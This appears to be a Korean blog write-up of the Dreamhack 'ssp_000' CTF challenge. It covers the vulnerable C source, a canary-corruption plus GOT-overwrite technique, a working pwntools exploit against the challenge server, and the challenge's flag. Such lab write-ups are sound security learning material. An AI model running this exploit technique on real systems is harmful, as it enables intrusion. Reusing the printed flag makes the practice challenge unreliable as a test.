[Dreamhack ssp_000] writeup

김진겸·2024년 4월 7일

silvergun8291.log님의 ssp_000을 참고하였습니다!!

ssp_000 목표


ssp를 우회하여 익스플로잇해 셸을 흭득하고, flag파일을 읽어내는 것이 목표입니다.

보호 기법

[*] '/Users/protectuser/Desktop/DreamHack/ssp_000/ssp_000'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

CanaryNX보호 기법이 걸려있습니다.

이제 문제 코드를 살펴보며 취약점을 분석하겠습니다.

문제 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();


    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}
  • 쉘을 띄어주는 get_shell함수가 있습니다.
  • 길이가 0x40인 문자열 'buf'가 선언되었습니다.
  • 0x40 < 0x80이므로 read(0,buf,0x80)부분에서 버퍼 오버플로우가 발생합니다.
  • (long )addr = value; 임의 주소에 원하는 값을 쓸 수 있는 코드입니다.

익스플로잇 방법

checksec을 통해 카나리 보호 기법이 걸려있는 것을 알 수 있었습니다. 카나리 릭을 통해 문제를 해결하려고 했지만 정확히 알 수가 없는 상황입니다.
하지만 임의 주소에 원하는 값을 쓸 수 있는 취약점이 있기 때문에 카나리를 변조해서 stack_chk_fail 함수가 실행되게 하고 stack_chk_fail 함수를 get_shell 함수로 GOT Overwrite를 하면 쉘을 띄울 수 있을 거 같습니다.

순서 정리

1. Canary 값 변조
2. __stack_chk_fail 함수를 get_shell 함수로 GOT Overwrite
3. __stack_chk_fail 함수가 실행되면 쉘 획득

익스플로잇 코드

카나리 값을 변조할 만큼 A의 갯수를 늘린다.

from pwn import *

p = remote("host3.dreamhack.games", 8480)
e = ELF("./ssp_000")

get_shell = e.symbols['get_shell']
stack_chk_fail_got = e.got['__stack_chk_fail']

payload = b'A' * 0x50
p.sendline(payload)

print("[+] stack_chk_fail: ", hex(stack_chk_fail_got))

p.sendlineafter("Addr : ", str(stack_chk_fail_got))
p.sendlineafter("Value : ", str(get_shell))

p.interactive()

익스플로잇


쉘을 획득할 수 있습니다.

플래그는 다음과 같습니다.

cat flag
DH{e4d253b82911565ad8dd9625fb491ab0}
profile
성장에 목마른 개발자입니다!

0개의 댓글